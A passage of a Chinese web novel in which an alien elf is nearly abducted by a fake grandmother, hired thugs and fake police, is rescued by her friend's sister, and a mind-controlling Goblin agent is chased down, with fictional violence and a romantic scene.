“别急姑娘,我是过来找孙女的,这是孙女的地址,姑娘帮我看看怎么走?”说着风箱奶奶已经小碎步到了跟前,康屿安发现,这两步走的还挺快、也不漏风了。 突然,康屿安的警惕性就像夏所的血压也一样飙上来了。 “不好意思,我不认识地球文字,真的帮不到你。”就好像犹豫一秒钟就会被绑走似的,康屿安脚底已经抹上油了。 “小姑娘,不用你认识字,我知道地址。岁数大了到这大 城市分不清东南西北,这也找不到啊!你做做好事,把老婆子送过去吧。”说着风箱奶奶眉开眼笑,堆满皱纹地就要拉住康屿安。 吓得她脚底打滑就要跑,在她拒绝风箱奶奶的时候,已经撇见纸条上的地址了。那个地方她知道,偏僻的野猫都见不着一只。 还没跑出两步风箱奶奶就变脸了,泪流满面的抓住康屿安的手臂:“孙女,你不能不管奶奶啊,奶奶不说你了,奶奶听话,你不能把奶奶扔在这啊!” 康屿安被危险气息冲击的发根和耳朵同时炸起,用力的抽回胳膊。没想到风箱奶奶顺势就躺在地上,嚎啕大哭。 这个时候,康屿安真希望这是个碰瓷的老太太,最多是报警解决。 可是,希望的泡沫砰地就破了,一辆看起来比她年龄还大的车停下来,下来两个像打手似的壮实小混混。 “怎么了婆婆,要帮忙吗?”长着两张败类的脸,竟然在这干路见不平的事,谁信啊? 康屿安顿时明白了根本不是碰瓷,这三个人是一伙儿的。跑是跑不掉了,看来只能遁掉了。 于是,往排水口的位置后退两步,她愣在那了。 风箱奶奶趴在那,这并不是重点,重要的是她纹丝未动,还停留在地面上,根本没遁走。 一阵风从排水口吹上来,把垂在风口的花白头发吹起,露出那张皱巴巴的脸。上挑的嘴角邪恶、耷拉的眼角诡异,这不就是童话里的坏巫婆吗? 康屿安灵魂都快震出窍了:磁场被破坏了?发生改变了?是谁要抓我?他们是怎么知道我是控制水磁场的?端戊!救命啊! 就在她怔愣的这一会儿,老巫婆已经开始了她的表演:“孙女嫌弃我了,孙女不要我了,要把我扔在这了!这可让老婆子怎么活啊!活太久了遭人嫌弃,不如就死在这儿算了。” 康屿安都想为老巫婆搬个即兴表演奖了,这是掐着剧本来的吗? “你们三个别在这演戏了,你们抬头看看,到处都是多维眼,你们绑走我也逃不掉的,警察一定会找到我的。你们收了多少钱,我双倍付给你们,钱也赚了,还不会被抓。” 看着眼前的三个人,康屿安不想硬碰硬,碎的只会是她,能智取谁玩命啊? 她在朝暮星见识到最恶的恶,都是在书里、剧里、电影里。没想到第一次见识到现实的恶,竟然是在地球上?这多少让她有点不能接受。 这些不都应该是哥布林人和秃鹫人干的事儿吗? 不过,也很难说,用了隐形水、吃了糯米糕管他原来是什么样子,都会变成地球人的样子。 “哈哈哈!听听这个小妞在说什么呢?咱们见义勇为做好事,竟然被当作绑匪了,怎么说话呢?我们俩个脸上写着坏人吗?”其中尖嘴猴腮的暴突牙先不乐意了,就好像蒙了多大的羞似的。 “两位好人别和小孩一般见识,这孩子从小就不听话,不肯和我回家,两位好事做到底,把我们祖孙二人送回家吧!” 老巫婆不知道什么时候站起来了,拉着暴突牙像是抓住了救星似的央求。 62.第 62 章 眼看着三个大坏蛋,以三点收敛包围之势上来了,康屿安终于意识到等不来端戊了,必须想办法自救了。 手无缚鸡之力能有什么办法,还不是得靠群众的力量。 “救命!有坏人!救命!绑架啦!”康屿安深吸一口气把胸腔撑得满满的,一声尖锐从肺里炸出。 害怕之余她自己都觉得有点可笑,太戏剧了。 逢瓜必吃,遇瓜必停的传统,不管过了几百年也是亘古不变的。 很快,走路的、骑机械车的,甚至是开车的都停下来了。 “干什么呢?两个大男人欺负一个小姑娘!要不要脸!”一个魁梧的阿姨,挤进包围圈挡在了康屿安面前。 康屿奶竖起耳朵、瞪大眼睛,奶凶奶凶地经历生死一线间也没见她哭,这会儿被阿姨护在身后时,眼泪撒豆子一样砸下来。 她想起了端妈,地球上的阿姨都是这么彪悍着善良的吗?她突然想家了,想地球上的家。 暴牙先是吓了一跳,阿姨的身板也确实唬人。瞬间怔愣后,马上想起他们人多势众他怕谁?于是脖子又重新梗起来了。 “你谁啊你?关你什么事啊!” 他没注意到身后的一个健身老炮,正一眼一眼地刀他。 本来看到芭比娃娃似的小精灵委屈巴拉地哭,就握紧了鲁智深似的的拳头。又看他这么猖狂,顿时气不打一处地关节泛白。 还不等阿姨的巴掌招呼上去,已经从身后一把推了暴牙一个趔趄。 “这他妈又是谁,谁……谁家大哥啊?大哥有事吗?”暴牙满眼杀气地转头,看到和自己腿差不多粗细的胳膊后,立刻就温和有礼貌了。 “你是从哪年穿越过来的,还玩恶霸这一套呢?当街强抢小姑娘啊!这把你能的!该干嘛干嘛去!”粗胳膊大哥懒得和他废话,只想让他滚蛋。 暴牙心里的小算盘劈里啪啦地打,如果只有一个彪悍阿姨不足为惧,可是眼前的大块头,一个人就能灭了他俩。 他俩只是拿钱办事的,又不是拿钱卖命的。回去有交代就行,没必要把自己交代在这吧? 正要滚,却被老巫婆一个眼神唬的打了一个冷战。巫婆可是正式员工,和这种有机会跑的临时员工不一样。 她可是把命都卖给了人家了,签的是生死契约。 “误会了误会了!这两位都是好人,我孙女离家出走,好不容易找到了却不肯和我回家,这两位是帮我劝孩子的……”老巫婆的破风箱又开始漏风了,干瘪的手伸向康屿安。 “我不认识他们三个,他们是一伙呢?我是精灵她是地球人,她怎么可能是我奶奶。”同样都是长了一张嘴,康屿安可不能任由着她胡说八道。 这如果被这三个坏人带走了,幕后之人一定会让她消失的不留痕迹,不会让端戊找到她,再也回不到那个家了。 “你这孩子怎么能胡说呢,奶奶年纪大了,耳朵还在这场灾难中烂掉了。你们看,这是我们祖孙的照片,耳朵是不是一模一样。”老巫婆从口袋里拿出一张照片给围观群众看。 “呵呵……果然是有备而来!正常情况谁会把照片随身带着?”康屿安气笑了。 故意拿出这么古早的东西,判断真假还真得费点劲儿、花点工夫呢,不就是故意的? “还不是为了找你吗?我那个外置机翻照片多费事谁不知道?哪有拿着老照片方便。孩子,你就和我回去吧……”老巫婆像是鳄鱼一样开始抹眼泪。 照片在吃瓜群众手里转了一圈,也没谁能真正看出个所以然来。可是看着一模一样的俩耳朵,磨损有些年头的手感,已经有人开始相信了。 “报警,让警察来判断!”康屿安贴近魁梧阿姨,还能坚定站在她这边的也就是身前的阿姨了。 “我已经报警了,警察马上就来。”人群里不知是谁喊了一嗓子,却让康屿安瞬间安心了。 只要警察能到,端戊就会知道,康屿安彻底放松下来了。 刚还和端戊说能自己去研究所,打脸来得还真快。康屿安现在一点都不在意,和失去相比,面子一文不值。 警察出警还真快,似乎话音刚落警笛就响了,刚听到警笛声警察就到了。 两个瘦高的警察穿过吃瓜群众,径直走到老巫婆旁边。 “老人家怎么在这呢?这是孙女找到了?谁报的警?怎么回事?”瘦高个熟络的问老巫婆,说服力直接就拉满了。 刚还一半一半的信任值,没有任何迟疑的就一边倒了。 康屿安刚松弛下来的心,如同掉进火里的塑料,快速地缩成焦黑的一团。一只耳朵猛地竖起,另一只耳朵却快速的耷拉下去了。 “他们是假的,他们不是警察!”康屿安紫色的眼睛瞬间就失去了光,变成了绝望的灰黯。 “警察同志别介意啊,我孙女在外面受了刺激,现在精神行为都有些失常,我们这就带她去医院看病。” 老巫婆走到彪悍阿姨前面,把她推到一边,鸡爪子一样干瘪的手伸了过去。 一百五六十斤的阿姨就这么被八九十斤的巫婆轻易推走了。也不知道是老巫婆四两拨千斤,还是阿姨失去了正义的底气。 “去医院啊?我们带你们去,走吧,车在后面跟着。”瘦高个一挥手率先朝路边的警车走去。 老巫婆对两个混混不着痕迹的使了个眼色,混混立刻过去架起康屿安的胳膊拖着就走。 “你们别信他们!他们是骗子!他们都是一起的!”康屿安瞳孔骤缩,意识连接曈视,刚刚就应该自己报警的。 报警电话还没打出去,一侧腰突然传来刺痛的酥麻感,康屿安的意识渐渐模糊了:“端戊……” 端戊到底不是端砚,没有预知未来和感知危险的能力。 局里的实物保障用车比小乌龟快得多了,风驰电掣地就到了王校长家了。 外面的封锁线没有任何破坏痕迹,端戊连接意识把整个区域扫描了一边,有外星人的气息,属于哥布林人,但不完全是,让端戊感到奇怪。 端戊线上申请搜查请示很快就得到了批示,用公用密匙打开封锁界。 室内一片狼藉,师娘走得时候肯定不是这个样子,听说被害过程发生在门口,那室内就是在封锁后遭到破坏的。 < p>“真的是老师回来了吗?可是他在找什么?他是怎么进来的?为什么有哥布林人的气息。”端戊用自己的手,比量着墙壁上指甲的划痕,像是在问自己,又像是在问满屋子的痕迹。 按理说,如果哥布林人是凶手的话,过了这么久气息已经完全消失了。除非操控王校长离开研学院的,也是哥布林人。 书房是最为惨烈的地方了,书桌的抽屉几乎没有一个是完整的。书柜被拆的四分五裂,扔的到处都是没有可以下脚的地方。 “咦,你竟然还在这里?”端戊看到了挂在墙上眨着眼睛的机械熊猫,快步走过去,启动时光机般戳了戳大熊猫的屁股。 那是端戊大二时,送给王校长的教师节礼物,一个表面看是个挂表的家用多维眼。 印象中王校长一脸嫌弃,正眼都没给一个地戳着人家熊猫的屁股:“这是什么东西啊这么丑?什么年代还用挂钟?” “这您就不知道了吧?现在古董挂钟又流行回来了,而且我做这的东西其中还另有玄机,您仔细看……”那个年纪的端戊脸上根本藏不住事,一脸神秘、献宝似的展示熊猫隐藏技能。 “什么玄机?故弄玄虚的机械熊猫?”虽然小老头脸上仍是不屑,浑浊的小眼神却背叛了他,已经亮起来了。 “真烦人,这冷水让您泼的,不会夸咱就多看少说行吗?您仔细看熊猫眼睛,这可是一双量子升级的多维眼,有它给您看家护院不香吗?就算家里有金山银山都能给您看得牢牢的。” 端戊颇有些得瑟举起她的机械熊猫,让熊猫眼睛和王校长对视。 “老头子我就是一个教书匠,我的‘金山银山’都藏在我的书房里呢。”王校长一脸不以为然的接过机械熊猫。 那会儿的端戊还嫩着呢,一直以为机械熊猫从此就压了箱底呢。 端戊从前蹭饭都是在地下城的家里,地面的家反而第一次来。现在看来,王校长说的‘金山银山’毫不夸张,真的就被惦记上了。 端戊面色凝重成了面具,意识连接熊猫眼里的记忆云,其实在她心里是有怀疑的人的…… 有人兜底的疯子都是有恃无恐。 叶白摆出剪刀腿坐在老位置,老样子地晃着她的红酒杯。眼睛瞪得滴溜圆,瞳孔更似用圆规画出来的一样盯着全息屏。 仿佛,她就站在康屿安的旁边,看着她策划导演的这场闹剧。 “我的小精灵,终于要带回来了哈,早知道这么简单,从前我还费那么大劲干嘛!” 看着康屿安马上就要被架到车上,叶白用舌尖抵着右侧的脸,隐隐作痛,可是也值得了。 要不是这一巴掌刺激,她哪能下这么大的决心,哪有这么滴水不漏的策划,哪会这么快就把小精灵拐回来? 只要小精灵一到家,今天出现在现场的、包括人群中喊报警的‘吃瓜群众’,一个都不会留,连个渣都不会留在地球上,看端戊有多大的本事能找到小精灵…… “卧槽,这特么是谁!”叶白猛地从沙发上光着脚丫子站起来,还差点被自己的剪刀腿绊倒了。 气得她把红酒杯扔到了全息屏上。 63.第 63 章 从杯子里划出一道红色的轨迹,噗地落在全息屏上,留下一个窟窿似的暗红阴影。 “嘶啦啦……”屏幕发出低沉的哀鸣,画面定格在叶白暴跳如雷的那一帧。 “谁啊?她谁啊?”手指触电似的指向屏幕,直直地怼在屏幕上的鹅蛋脸,泄愤似的敲打,直到全屏陷入黑暗。 “让镇南过去看看是怎么回事,解决不了就不要留活口了。”叶白一脚踹上去,脚丫子碰触到冰冷的屏幕才发现自己连袜子都没穿,又缓缓的放下了。 刚从叶白面前消失的那张脸像是有所感一样,蹭了蹭鼻子。懒得再多看一眼东倒西歪躺在地上的真流氓、假警察,径直走到康屿安面前。 “我姐是怎么放心让你一个人上班的?”端砚又是拍脸蛋、又是掐人中的,见没反应还伸手去探了探鼻息。 康屿安好半天都没缓过来,直到端砚的手指贴在了她鼻孔上,瞬间就干呕着悠悠醒转。 “你的手是刚摸了粑粑吗?”康屿安努力那么半天都没能醒过来,一下子就被臭清醒了。 “胡说什么呢!我洗的很干净啊!还有臭味儿吗?”端砚把手指放到自己鼻子地下,一脸享受的深吸一大口。 “呕……你都开始喜欢那玩意儿了吗?”康屿安实在忍不住了,长大的端砚这么让人捉摸不透吗?这喜好也太恶趣味了吧? “你是让他们电傻了吗?你们朝暮星没有榴莲的吗?”端砚上挑的眼角抽了一下,妩媚冻在了嘴角上。 “你俩别再那废话!你,你袭警了知道不?”其中一个瘦高个踉跄着从地上撑起来,手向腰间探去。 端砚哪会给他这个机会,所有的人都没看清她是怎么动手的,只看到一道红色龙卷风从眼前漩了过去。 刚支楞起来的瘦高个子顿时就叽里咕噜滚回去了,萎回去又缩成一团。真是吓得不轻,挨打不可怕,可怕的是怎么挨打的都没看清。 “你你你你,你无视警告,多次袭警!你,你是要负法律责任的!”瘦流氓多少有点色厉内荏,强撑着硬上又支楞起不来的感觉。 “好哇,那咱们就拿起各自的法律武器,捍卫自己个儿的合法权益咋样?看你出警这区域应该是高所长那的吧?不如就直接让高所来裁断你看咋样?”端砚看着他那怂样儿又好气又好笑,拍了拍手上的灰。 吃瓜观众们的兴致又上了一个高潮,谁会舍得走啊!还别说,真有一个反其道而行的,正一点点的往出退呢。 本来端砚是不知道有假报警这回事儿的,也不知道人群里还有个报警托,单纯是看着他反常,认为不能让他跑了。 端砚红色小旋风似的,刮过吃瓜群众的头顶,一脚踢在报警托的一边脸上,就把他踹到了假警察旁边。 心满意足的看着他们团聚了,开始打报警电话了,没想到却方便了镇北一锅端。 报警托和同伙们会合的略显尴尬,相认了就是不打自招,不相认也是迟早得招。正犹豫着相互眼神交换呢,一口血雾喷了过来,直接为他同伙们送来一场腥风血雨。 “他有毒!快捂着嘴!”离报警托最近的瘦高个被喷地满脸满身都是血,手脚立刻就软了,心里想跑,有心无力,喊出来都是颤巍巍的声音。 另一个瘦高个虽然被喷到了,可是毕竟前面有同伙挡着,至少脸是干净的。 看着瘦高A疯了似的喊叫却寸步不挪,瘦高B就明白是怎么回事了,伸出手往回拖拽他。 屁股还没挪动呢,瘦高A和报警托几乎同时开始抽搐,连节奏都是一模一样的。 瘦高B赶紧把手收回来,在衣服上拼命地擦手心,就好像病毒已经顺着手开始扩散了似的。 他身后不远处那个始终把存在感降到最低的老巫婆,是心里最门儿清的:她知道这是主人灭口了。 她早就有心理准备,她太了解主人了。这么大的事儿,成与不成,都是要被灭口的。 可是知道自己会死是一回事,当死亡逼近就是另外一回事了。她,也害怕。 “吴婆,他们怎么了?我们会不会被传染啊?”瘦高B人高马大的身体,毫不犹豫的缩进了吴婆风干的怀里。 突然这么大的反转,康屿安反而镇定地看戏吃瓜:还真的是巫婆? 吴婆把干瘪的手放进口袋,摩挲着里面真正的祖孙合影:只要孙女能好好活下去,老婆子死了就死了吧,活了这么多年也够本了。 “都得死,躲不过的,谁也别想活着回去,早死早投胎,选个好人家。”吴婆漏风的破风箱,这个时候更显得阴恻恻的了。 就连端砚都打了个寒颤,端妈从小不让她恐怖片,可能是怕刺激到她提前冲破封印吧。 以至于她对恐怖元素是一点抵抗力都没有,巫婆一声鬼叫她就已经鸡皮疙瘩掉一地了。 更恐怖的场面在后面呢,没想到吴婆式恐怖这么快就顶峰落幕了。 只见她绷紧了脸上松弛的皮,耷拉的眼皮也抬高了一些,眼睛变大了很多,隐约可见她年轻时的几分绰约风姿。 吴婆握紧手里的照片,嫌弃得推了推怀里的怂大个儿,么推动。于是她也懒得再推了,反正,他一会自己也会动的。 看了一眼天空,灰蓝的天上飘着灰白的云,真想念从前的蓝天白云啊!吴婆重重的闭上眼睛。 “砰!”灰蒙蒙的天,突然就被照亮了,吴婆像枚人体炸弹一样身体组织四溅,怀里的瘦高B身披吴婆的碎肉,噌地就蹿出去了。 “啊!造的是什么孽啊!反正都要死,怎么不让我先死?太折磨人了!”瘦高B彻底崩溃了,语无伦次,横冲直撞。 爆炸声、地面上被炸起的碎石碰撞声,围观群众的逃窜惊呼声,都没能盖过他的撕心裂肺。 可是没有人搭理她,抽搐的同伙们已经僵硬的打挺了。看热闹的都在逃命,端砚带着康屿安正小旋风呢。 “我姐如果看到这场面,一定羡慕死我了。”端砚一只手轻松揽住康屿安的腰,妩媚的眉眼里多了几分嬉皮笑脸。 “羡慕你什么?”康屿安有点想念从前那个只知道吃喝玩乐的小屁孩 了。 “别在这个时候觉得从前那个傻啦吧唧的我更好,别忘了那个傻小孩可救不了你。我不是小孩儿了,你和我装什么傻。”端砚唇角弯起戏谑,意味不明的看着康屿安。 反应弧能绕地球一圈的康屿安这会儿突然就机灵起来了:我拿她当闺蜜,她拿我当啥? 经历了这么多事儿以后不敢不多想啊,从前就是因为想得少而不自知。等等…… “你能猜到我想什么?”康屿安突然有点心虚,怕被看透,毕竟那样揣测自己好闺蜜是有点对不起她。 “你想说是读心术吧?怎么可能?你都写在脸上了,不想知道都难!”端砚带着康屿安缓缓落下,快到地面时故意在她的腰上掐了一下。 “干嘛!”康屿安顿时涨红了脸,刚一落地就挣脱出去跳的可远。 “哈哈哈哈!”端砚笑得直不起腰,昨晚被辛瑙折腾一晚上的阴霾一扫而空:“我告诉我姐一声。” “既然没事了就别折腾她了,王校长的事她挺难过的,也着急早点破案。”康屿安倒腾着小碎步,又一点点靠近端砚。 一会儿警察问完话,应该是不会送她回研究所,还不是得指望端砚送? “我姐哭了没?”想到辛瑙昨晚赖赖唧唧地哭哭、歇歇、吃吃,再接着哭,折腾到早晨,她就惦记端戊。 “没,眼泪都忍回去了……”康屿安的心突然拧成一团,是啊,她为什么不哭出来! “她现在有领导包袱了,从前她不会这样的,说到底难受的还是她自己。”端砚昨晚没丢下辛瑙不理,和端戊有很大关系。 现在的辛瑙和从前的端砚还是挺像的。 端砚看着腾起之前还鬼哭狼嚎的瘦高B,现在已经和其他另外四个人一起成为硬邦邦的标本。 空气中开始弥漫着令人作呕的血腥味儿,两个小姑娘再也不嘻嘻了。 接着就听见了嘀呜嘀唔的警笛声,真警察来了。 比警车先到的是一辆黑色玉石般的车子,并没有停在路边,而是收起轮胎,地盘开启了盘轮,从台阶直接下来停在她们面前。 “我姐哦!其实是我羡慕了……这车。”端砚丢下康屿安,像是没看到从车里下来的端戊,和她擦肩而过径直坐了进去。 “我不该让你一个上班的!”端戊从听到消息,就头皮麻到后背,再后来手脚都是冰凉的,她是真的害怕了,直到把康屿安抱紧怀里,后怕都散不去。 “我这不是好好的吗?”康屿安被抱的透不过来气却一动不动,她的心脏紧紧贴着端戊的心脏,她害怕自己稍微一动,咚咚乱跳的心就会跳到自己胸腔里。 端戊并没有因为她的安慰而放松,而是抱的更紧了。康屿安甚至听到自己骨头的咯吱声。 “如果不是遇到端砚,我还能这样抱着你吗?”端戊没说的是,她害怕找到康屿安都会很难。 “你比这一片警察来的都快……”康屿安是想夸点什么的,比如说警界楷模,精英中的精英。 这些都没来得及说出来…… 64.第 64 章 这都不重要,这都不重要! 康屿安接下来要说什么,端戊全知道。 想听的一句不会说,说出的都不是她想听的!端戊有点生气,可她不想说。 最好的办法就是以嘴制嘴。 “唔……”康屿安倏地点亮紫色小夜灯,光天化日、朗朗乾坤…… 端戊手动关闭了她的小夜灯,一对小刷子在她手心嗖嗖的扫过,酥酥痒痒的、一直到心底。 端砚的脸几乎贴在了挡风玻璃上:“这是真的吓着了,领导包袱都不要了吗?” 这才是端戊,而不是端局。 从前,她只想保护爱的人,照顾好身边的人。现在要保护的人多了,反而照顾不好爱的人了。 王校长离世又失踪,让她的情绪坠入谷底,甚至整个人都迷失在谷底的迷雾里了。 刚刚又差点失去康屿安,她一路疾驰过来大脑是空白的,除了害怕没有任何其他情绪。 直到看到康屿安,提到天灵盖的一口气才放松下来。下车时她的眼圈像是溢满了岩浆,可她还是习惯性把眼泪忍回去了。 端戊知道,刚刚端砚从她身边走过去,看都没看她一眼,是在掩饰看到了她红红的眼圈和鼻尖。 端戊把所有患得患失的情绪都凝聚在舌尖,在纠缠中实打实的感受着康屿安的存在,逐渐的踏实、安心。 康屿安的一对小耳朵快要背到了脑后了,像一只小鸵鸟,看不见世界就看不到自己的羞涩,紧张到僵硬的小舌头被吸走后渐渐放松变软,试探着对抗。 “小粽子……”打不过,根本打不过,小舌头偃旗息鼓的战败举白旗。康屿安脚下无力,双手紧紧环住端戊的脖子挂在了她的身上。 端戊扶住康屿安的腰,手掌横放正好覆盖细腰,掌心的温度蔓延到全身,像是要把融化的小精灵融进自己的身体。 康屿安张开嘴大口的喘气,耳朵像是累坏了,无精打采的垂着。警车刚好到了停在路边。 端戊像是被抢走心爱玩具的小朋友,蹙眉放开康屿安:“真想把你变小,放在口袋里,走到哪里都带着才放心。” “是什么在到处飞呀?甜到冒泡,好多的粉红泡泡呦!”端砚撇着嘴从两个人身边路过。 绕过端戊走到康屿安的身后,趁着她傻乎乎的抬头望天,在她一侧的腰掐了一下。 康屿安的耳朵突然就炸开立起来,整个人原地蹦起来闪到端戊身后,从一侧探出头,瞪大紫色眼睛歪头看着端戊,眼里参杂了惊吓不已和忿忿不服。 “你看看她!”双手紧紧抱着端戊的胳膊,一副被登徒子轻薄了的样子。 端戊瞪着端砚警告她,伸出一只手把康屿安护在身后。 “天呐!康屿安!你要不要照照镜子,看看你茶里茶气的样子,这还是你吗?”端砚的长胳膊越过端戊,一把拉住康屿安纤细手臂,半真半假的要把她拖出来。 “她有人护着肯定比你娇气,你也找个人护着就不这么咋咋呼呼了。”端戊一巴掌拍开端砚的魔爪子。 看到高所朝这边走过来,端戊瞪了端砚一眼迎了过去。 “那我也是站在前面的那个,才不会像她这个德行……啊!康屿安,你使这么大劲儿?”端砚只顾着和端戊较劲,毫无防备的被康屿安掐到了腰。 看到端戊回头看,康屿安人畜无害的对着她笑出了糖心。 “康屿安,看看现在谁还能护着你!”端砚像是疯了的女魔头,张开十根五颜六色的长指甲,就扑了上去。 康屿安看着端戊和高所已经面带官方微笑地就地要握上手了,只能攥紧一双棉花拳头,脸色涨红、耳朵微透的准备还击了。 “咻!”端戊像是后脑勺长了眼睛,一颗糖飞过来打在端砚的手背上。 “哎呀!”端砚像是被点了穴似的站在原地,看着手背上的红印:“你们俩是不是太欺负人了!” 突然想到了什么,端砚顾不上一脸得意的小精灵,转身去看端戊:异能升级了?从前没这本事啊? “我姐怎么突然就来了?”挨了揍的端砚有了更重要的发现,马上就化干戈为玉帛。 看到康屿安一脸戒备得正忙活着摆花拳绣腿呢,她学着端戊拍她的样子,拍掉康屿安的棉花拳。 “你不奇怪吗?我姐怎么来的这么快,比高所他们还快?”端砚把刚打她的糖,捡起来剥开塞进康屿安的嘴里。 别浪费了。 康屿安眨巴着蓝紫色的小扇子,腮帮子鼓出一个小包:“你姐本来就是奔着这里来的,碰到咱俩是一个意外。” 端砚点点头,看了一眼不远处的端戊:“你不觉得我姐哪里不同了吗?” 康屿安顺着端砚的视线也望过去,看起来没什么不同,还那么高瘦挺拔,眉眼英气深邃。 如果非要说有什么不同,过去的端戊,从头到脚连根头发丝都是清冷的,现在居然多了些温柔的魅惑在里面。 “看什么呢?有这么难回答吗?”端砚欠欠的小魔爪又过来要拍她,被康屿安余光发现,一把握住。 “你都已经成年了,怎么还记吃不记打呢?你姐看得见。”康屿安晃了晃端砚的手腕,把手背上被打红的地方转过去给她看。 “我姐在的时候你一个样子,一转身你就变回原来的样子,我姐知道吗?”端砚揶揄着康屿安,另一只手又试图去掐她的腰。 “你姐当然知道,她不比你更了解我?”猫一样躲过端砚的爪子,康屿安抬起下巴,微眯起眼睛,一脸胜者为王的傲娇。 “有靠山的小精灵不得了,惹不起!我姐那么了解你,那你呢?看出她有什么不同了吗?”端砚不再逗康屿安了,找一处石墩坐下饶有兴致的看着她。 “你姐应该从王校长家回来,可能在那发现了关键性的线索,刚好指向这。除了线索,你姐还一定有其他收获,为自己升了个级。”康屿安把嘴里的糖转了一圈,腮帮子上的小包从左边换到了右边,还挺甜的。 刚把脑子里的零碎信息迅速的整合后,前后就都说得通了。 “小精灵的脑子就是好用,难怪能让我姐那颗老铁树都开花了呢,集智慧与美貌 于一身啊!”端砚两个胳膊肘撑着膝盖,慢悠悠的鼓掌,倒是挺舍得夸的。 康屿安可没一头陷入她的糖果小陷阱,翻出一个清新脱俗的白眼:“说谁老呢?” “我这个妹妹,终是沦为了局外人了……你干嘛去?”端砚更用力的鼓掌,却发现康屿安要跑。 “端砚!看好康屿安!你俩在这别动!”正在和高所相谈甚欢的端戊,突然就像脚底下长弹簧了一样弹出去了。 高所呆愣了两秒钟,毫不含糊的大手一挥别,就近的民警立刻就跟着追上去了。 虽然谁也不知道在追谁,紧跟着端局开足了马力的跑就对了。 “你去帮忙啊!”康屿安刚跑出没多远,就被端砚拉住了,没想到她转身就把端砚推出去了。 “没听我姐走的时候喊什么呢,我得看着你!”端砚没想到小细胳膊小细腿的,真急起来力气还挺大。 她活动了两下,才确定自己只是肉痛,肋骨并没折。 “这这么多警察呢,所长都亲自在这,我能有什么事!快去啊!一会跟不上了,你姐伤还没好呢!”康屿安像是推一辆掉进沟里的车,双手和头都顶在了端砚的身上。 端砚肯定也担心她姐,可是眼前倔驴一样的小精灵,是她姐的软肋。真的在她手里出了什么事,她姐就算不剥了她的皮,也得剃光她的头发。 可是康屿安说的也没错,这么多警察在呢,能出什么事? 看向高所,也不知道他听没听见康屿安和她的对话,反正是笑着点头。端砚像是哆啦a梦一样,呃,没飞。 一头钻进端戊开来的车里,起飞了。 黑玉石冲上台阶追了一会儿,才看到几个人的身影,前面不远处跑着一个身高不到端戊咯吱窝的人。 真的像康屿安说的,再慢一点就跟不上了。 端砚刚开始还在好奇呢,这么多人怎么就追不上矮个子呢,再近点儿才看明白。 看似前面一个人跑,后面几个人追,其实只有端戊一个人在追,另外的几个民警,已经是前面矮个子的棋子了。 他们应该是精神受到控制了,步步紧逼地在限制端戊。 每次端戊就要抓住矮个子时,追在后面的人就会有一个像是牵线木偶似的被当作武器扔过去。 端戊不单单是要躲闪,还要接一下或者扶一下,总不能看着同仁受伤。 端砚突然就明白了,为什么百年前专门成立了清异局,真的是各个星球都有各自的妖魔鬼怪啊,单靠普通人类还真是不行。 “我是怎么做到一眼就确定了那个矮个子是外姓人的?”端砚楞了一下,毕竟从她封印冲破以后,每天都会认识一个新的自己。 端砚看到又有两个人同时被扔出去了,端戊左右躲闪避开后,先是接住一个,又回头扶住了另一个。 端砚看到端戊脸色更白了些,额角有汗滴下来,不知道是跑的热汗,还是疼的冷汗,可能全都有吧。 眼珠转了两圈,端砚把意识方向盘启动了定点追踪,速位定到最高,然后打开了天窗。 65.第 65 章 端砚眼珠微微轻转,眼里闪着狡黠的光,唇边挑起坏坏的笑。 她把意识方向盘启动了定点追踪,速位定到最高,然后开启天窗。 看着跑在最前面的小短腿已经倒腾出残影了,哒哒哒跑得可来劲儿,端砚就想撞他的屁股。 最后再次确定了追踪的位置,端砚笑得眉眼弯弯:“小东西,飞行愉快哦!” 随着话音儿端砚踩上红色小旋风就从天窗出去了,其他的就交给黑玉石了。 小短腿都不需要回头,就感知到了身后滚滚而来的杀气:这是不留活口了吗?我就没有审问的价值吗?不知道我是谁吗? 为了活,他也是拼了。不管跟在端戊后面的是五个人还是六个人,同时控制着甩过去。 小短腿也是刚想到的:清异局的所有人类警员,意识都是不可控的。除非,死后控制身体。 就算是死了,躯体依然会被肌肉记忆的掌控。 也不知道还有没有命回去和主人禀告自己的重大发现,到手的功劳可不能让它跟着自己死了。所以,他得活。 端戊也懵了,他没想到这货儿这么拼。大家心里都清楚,他如果只是负隅顽抗,端戊也是尽可能活捉。 可是如果他拼死相搏、威胁到端戊性命了,那就考虑击毙他了。 这个道理他自己肯定是懂得,所以始终只是阻止端戊,并没有下死手。 现在,端戊看着满天飞的人形飞镖,显然是一门心思地想要弄死他。可她这会儿而实在是腾不出手。 左手一个右手一个,把先落到眼前的两个接住了。倒吸的一口气还没呼出来,身后又落下来两个。 端戊转身都来不及,匆忙向后弯腰又是一手一个的接住身后那俩人。还剩下一个,正从半空直直朝她砸过来。 如果躲开,这个高度掉下来,不死也是要骨折的。 如果给他当肉垫?端戊目测估量了一下,身高得有一米九吧?单看胳膊和胸,一身的肌肉疙瘩,没有二百斤也得有一百八十斤吧? 这个高度砸中她,也是会死吧? 端戊正犹豫着要不要舍身忘死呢,就看着一道红色的漩涡把端砚刮过来了。 黑直的长发,像是划过的黑色瀑布。宽大的裤子迎风猎猎,紧身的针织背心勾勒出完美曲线。黑葡萄似的大眼睛,媚眼如丝地飘过来一个‘还得靠我吧’的眼波。 眼神给到端戊,手上一点都没耽误干活,像是信手捻起一朵飞花似的,把空中的二百斤捡起来了。 “姐,你没事吧?”端砚拎着大块头落地,还挺讲究的轻拿轻放。 “你怎么来了,康屿安呢?”端戊倒吸进的那口气刚吐出来了,立刻又吸进一口冷气。 “咚!”黑玉石不负众望地撞上了小短腿的屁股,直接把他镶嵌进路边的广告灯箱。 “呃!”小矮个子从灯箱正面撞进来,头从灯箱后面撞出来。露出那张阴厉的脸,是镇北。 “怎么样?干得漂亮吧?快点夸我?”端砚看了一眼镇北,还挺嫌弃那张脸,下意识的撇撇嘴。 “都是大人了,怎么下手还这么没轻没重的?”端戊走到灯箱后面,蹲在镇北前面探了探鼻息,还有气,也不知道能不能活。 又探了一下气息:哥布林人? “你这夸得也太模棱两可了,不咋明显呢?”端砚看了看地上横七竖八躺着的几个人,走到端戊旁边蹲在了她旁边。 “你怎么把康屿安自己扔那了?”端戊站起来环视一圈,躺了一地的人、面目全非的车。 还有一脸期待等着重新夸的端砚,怎么夸?简单粗暴、速战速决?杀敌一千自损八百? “你俩太难伺候了,一个哭闹着让我来帮你,一个打骂着让我照顾哭闹的那个,你俩是真爱,我是活该呗?”看端戊脸色,端砚也不指望能她夸出一朵花来了。 端戊一边连线高所派车派人过来接,一边打量着端砚:怎么人长大了,心性还是老样子? “高所……”端戊顿了一下,心里盘算着应该让高所派个什么车过来。 